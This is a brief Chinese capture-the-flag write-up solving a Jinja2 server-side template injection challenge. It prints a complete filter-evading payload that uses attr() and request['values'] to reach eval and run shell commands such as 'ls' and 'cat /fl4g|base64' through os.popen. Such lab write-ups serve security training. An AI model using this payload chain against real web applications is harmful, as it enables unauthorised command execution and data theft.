打开网页提示Hello guest!

访问http://xmctf.top:8906/?name={{7*7}},返回Hello 49!

访问http://xmctf.top:8906/?name={{config}},页面被过滤,尝试发现被过滤的还有args,点,下划线

点可由attr绕过

下划线和args可由request['values']绕过

访问http://xmctf.top:8906/?name={{()|attr(request[%27values%27][%27class%27])|attr(request[%27values%27][%27base%27])|attr(request[%27values%27][%27subclasses%27])()|attr(request[%27values%27][%27getitem%27])(233)|attr(request[%27values%27][%27init%27])|attr(request[%27values%27][%27globals%27])|attr(request[%27values%27][%27getitem%27])(request[%27values%27][%27builtins%27])|attr(request[%27values%27][%27getitem%27])(request[%27values%27][%27eval%27])(request[%27values%27][%27cmd%27])}},同时post如下参数:class=__class__&base=__base__&subclasses=__subclasses__&init=__init__&globals=__globals__&getitem=__getitem__&builtins=__builtins__&eval=eval&cmd=__import__("os").popen("ls").read(),执行成功

将post修改为class=__class__&base=__base__&subclasses=__subclasses__&init=__init__&globals=__globals__&getitem=__getitem__&builtins=__builtins__&eval=eval&cmd=__import__("os").popen("cat /fl4g").read(),被过滤

则修改为class=__class__&base=__base__&subclasses=__subclasses__&init=__init__&globals=__globals__&getitem=__getitem__&builtins=__builtins__&eval=eval&cmd=__import__("os").popen("cat /fl4g|base64").read(),得到flag的base64编码:ZmxhZ3sxMnNkLWp0NGVzZjMtczkzaGNlY2MzLXMzM2ZmM30K

解码获得flag:

flag{12sd-jt4esf3-s93hcecc3-s33ff3}

相关文章:

  • 2021-10-31
  • 2021-06-25
  • 2021-06-12
  • 2021-12-01
  • 2022-01-10
  • 2021-06-19
  • 2022-12-23
  • 2021-05-06
猜你喜欢
  • 2021-09-20
  • 2021-11-07
  • 2022-01-05
  • 2021-07-15
  • 2021-08-28
相关资源
相似解决方案